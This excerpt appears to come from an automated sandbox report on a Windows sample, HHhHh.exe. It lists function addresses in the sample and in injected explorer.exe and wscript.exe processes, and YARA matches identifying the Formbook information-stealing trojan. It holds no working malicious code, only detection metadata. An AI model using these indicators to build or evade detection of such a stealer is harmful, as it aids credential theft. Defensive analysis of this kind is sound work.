Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_00409E5B	4_2_00409E5B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_00409E60	4_2_00409E60
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0041E7AF	4_2_0041E7AF
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_00402FB0	4_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290100	4_2_01290100
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133A118	4_2_0133A118
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01328158	4_2_01328158
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013601AA	4_2_013601AA
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013581CC	4_2_013581CC
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01332000	4_2_01332000
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135A352	4_2_0135A352
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013603E6	4_2_013603E6
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AE3F0	4_2_012AE3F0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340274	4_2_01340274
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013202C0	4_2_013202C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0535	4_2_012A0535
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01360591	4_2_01360591
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01352446	4_2_01352446
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0134E4F6	4_2_0134E4F6
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0770	4_2_012A0770
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C4750	4_2_012C4750
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129C7C0	4_2_0129C7C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BC6E0	4_2_012BC6E0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B6962	4_2_012B6962
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A29A0	4_2_012A29A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0136A9A6	4_2_0136A9A6
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A2840	4_2_012A2840
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AA840	4_2_012AA840
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012868B8	4_2_012868B8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012CE8F0	4_2_012CE8F0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135AB40	4_2_0135AB40
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01356BD7	4_2_01356BD7
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129EA80	4_2_0129EA80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AAD00	4_2_012AAD00
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B8DBF	4_2_012B8DBF
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0129ADE0	4_2_0129ADE0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0C00	4_2_012A0C00
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01340CB5	4_2_01340CB5
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01290CF2	4_2_01290CF2
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012E2F28	4_2_012E2F28
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012C0F30	4_2_012C0F30
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01314F40	4_2_01314F40
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0131EFA0	4_2_0131EFA0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012ACFE0	4_2_012ACFE0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01292FC8	4_2_01292FC8
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135EE26	4_2_0135EE26
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A0E59	4_2_012A0E59
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135CE93	4_2_0135CE93
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012B2E90	4_2_012B2E90
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135EEDB	4_2_0135EEDB
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012D516C	4_2_012D516C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128F172	4_2_0128F172
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0136B16B	4_2_0136B16B
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012AB1B0	4_2_012AB1B0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135F0E0	4_2_0135F0E0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013570E9	4_2_013570E9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A70C0	4_2_012A70C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0134F0CC	4_2_0134F0CC
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135132D	4_2_0135132D
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0128D34C	4_2_0128D34C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012E739A	4_2_012E739A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A52A0	4_2_012A52A0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013412ED	4_2_013412ED
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BB2C0	4_2_012BB2C0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01357571	4_2_01357571
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133D5B0	4_2_0133D5B0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135F43F	4_2_0135F43F
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01291460	4_2_01291460
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135F7B0	4_2_0135F7B0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_013516CC	4_2_013516CC
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01335910	4_2_01335910
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A9950	4_2_012A9950
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BB950	4_2_012BB950
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0130D800	4_2_0130D800
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A38E0	4_2_012A38E0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135FB76	4_2_0135FB76
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BFB80	4_2_012BFB80
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01315BF0	4_2_01315BF0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012DDBF9	4_2_012DDBF9
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01313A6C	4_2_01313A6C
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01357A46	4_2_01357A46
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135FA49	4_2_0135FA49
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012E5AA0	4_2_012E5AA0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0133DAAC	4_2_0133DAAC
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0134DAC6	4_2_0134DAC6
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01357D73	4_2_01357D73
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A3D40	4_2_012A3D40
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01351D5A	4_2_01351D5A
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012BFDC0	4_2_012BFDC0
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_01319C32	4_2_01319C32
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135FCF2	4_2_0135FCF2
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135FF09	4_2_0135FF09
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_0135FFB1	4_2_0135FFB1
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A1F92	4_2_012A1F92
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: 4_2_012A9EB0	4_2_012A9EB0
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6EC232	5_2_0E6EC232
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6E6B32	5_2_0E6E6B32
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6E6B30	5_2_0E6E6B30
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6EB036	5_2_0E6EB036
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6E2082	5_2_0E6E2082
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6E3D02	5_2_0E6E3D02
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6E9912	5_2_0E6E9912
Source: C:\Windows\explorer.exe	Code function: 5_2_0E6EF5CD	5_2_0E6EF5CD
Source: C:\Windows\explorer.exe	Code function: 5_2_11269232	5_2_11269232
Source: C:\Windows\explorer.exe	Code function: 5_2_11263B32	5_2_11263B32
Source: C:\Windows\explorer.exe	Code function: 5_2_11263B30	5_2_11263B30
Source: C:\Windows\explorer.exe	Code function: 5_2_11260D02	5_2_11260D02
Source: C:\Windows\explorer.exe	Code function: 5_2_11266912	5_2_11266912
Source: C:\Windows\explorer.exe	Code function: 5_2_1126C5CD	5_2_1126C5CD
Source: C:\Windows\explorer.exe	Code function: 5_2_11268036	5_2_11268036
Source: C:\Windows\explorer.exe	Code function: 5_2_1125F082	5_2_1125F082
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E1E4F6	6_2_04E1E4F6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E22446	6_2_04E22446
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E30591	6_2_04E30591
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D70535	6_2_04D70535
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D8C6E0	6_2_04D8C6E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D6C7C0	6_2_04D6C7C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D94750	6_2_04D94750
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D70770	6_2_04D70770
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E02000	6_2_04E02000
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E281CC	6_2_04E281CC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E301AA	6_2_04E301AA
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DF8158	6_2_04DF8158
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D60100	6_2_04D60100
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E0A118	6_2_04E0A118
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DF02C0	6_2_04DF02C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E10274	6_2_04E10274
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E303E6	6_2_04E303E6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D7E3F0	6_2_04D7E3F0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2A352	6_2_04E2A352
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D60CF2	6_2_04D60CF2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E10CB5	6_2_04E10CB5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D70C00	6_2_04D70C00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D6ADE0	6_2_04D6ADE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D88DBF	6_2_04D88DBF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D7AD00	6_2_04D7AD00
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2EEDB	6_2_04E2EEDB
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D82E90	6_2_04D82E90
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2CE93	6_2_04E2CE93
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D70E59	6_2_04D70E59
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2EE26	6_2_04E2EE26
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D62FC8	6_2_04D62FC8
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D7CFE0	6_2_04D7CFE0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DEEFA0	6_2_04DEEFA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DE4F40	6_2_04DE4F40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D90F30	6_2_04D90F30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DB2F28	6_2_04DB2F28
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D9E8F0	6_2_04D9E8F0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D568B8	6_2_04D568B8
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D72840	6_2_04D72840
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D7A840	6_2_04D7A840
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E3A9A6	6_2_04E3A9A6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D729A0	6_2_04D729A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D86962	6_2_04D86962
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D6EA80	6_2_04D6EA80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E26BD7	6_2_04E26BD7
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2AB40	6_2_04E2AB40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D61460	6_2_04D61460
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2F43F	6_2_04E2F43F
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E0D5B0	6_2_04E0D5B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E27571	6_2_04E27571
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E216CC	6_2_04E216CC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2F7B0	6_2_04E2F7B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2F0E0	6_2_04E2F0E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E270E9	6_2_04E270E9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D770C0	6_2_04D770C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E1F0CC	6_2_04E1F0CC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D7B1B0	6_2_04D7B1B0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E3B16B	6_2_04E3B16B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D5F172	6_2_04D5F172
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DA516C	6_2_04DA516C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E112ED	6_2_04E112ED
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D8B2C0	6_2_04D8B2C0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D752A0	6_2_04D752A0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DB739A	6_2_04DB739A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D5D34C	6_2_04D5D34C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2132D	6_2_04E2132D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2FCF2	6_2_04E2FCF2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DE9C32	6_2_04DE9C32
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D8FDC0	6_2_04D8FDC0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E27D73	6_2_04E27D73
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D73D40	6_2_04D73D40
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E21D5A	6_2_04E21D5A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D79EB0	6_2_04D79EB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D33FD2	6_2_04D33FD2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D33FD5	6_2_04D33FD5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D71F92	6_2_04D71F92
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2FFB1	6_2_04E2FFB1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2FF09	6_2_04E2FF09
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D738E0	6_2_04D738E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DDD800	6_2_04DDD800
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D79950	6_2_04D79950
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D8B950	6_2_04D8B950
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E05910	6_2_04E05910
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E1DAC6	6_2_04E1DAC6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E0DAAC	6_2_04E0DAAC
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DB5AA0	6_2_04DB5AA0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E27A46	6_2_04E27A46
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2FA49	6_2_04E2FA49
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DE3A6C	6_2_04DE3A6C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DADBF9	6_2_04DADBF9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04DE5BF0	6_2_04DE5BF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04D8FB80	6_2_04D8FB80
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04E2FB76	6_2_04E2FB76
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091E23C	6_2_0091E23C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091C3E6	6_2_0091C3E6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091D5A6	6_2_0091D5A6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091E7AF	6_2_0091E7AF
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091D90C	6_2_0091D90C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_0091EB3A	6_2_0091EB3A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_00902D90	6_2_00902D90
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_00902D88	6_2_00902D88
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_00909E5B	6_2_00909E5B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_00909E60	6_2_00909E60
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_00902FB0	6_2_00902FB0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04ADA036	6_2_04ADA036
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04ADE5CD	6_2_04ADE5CD
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04AD2D02	6_2_04AD2D02
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04AD1082	6_2_04AD1082
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04AD8912	6_2_04AD8912
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04ADB232	6_2_04ADB232
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04AD5B30	6_2_04AD5B30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_04AD5B32	6_2_04AD5B32

Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 04DEF290 appears 105 times
Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 04DA5130 appears 57 times
Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 04D5B970 appears 275 times
Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 04DB7E54 appears 100 times
Source: C:\Windows\SysWOW64\wscript.exe	Code function: String function: 04DDEA12 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: String function: 0128B970 appears 275 times
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: String function: 0131F290 appears 105 times
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: String function: 012E7E54 appears 100 times
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: String function: 0130EA12 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Code function: String function: 012D5130 appears 57 times

Source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
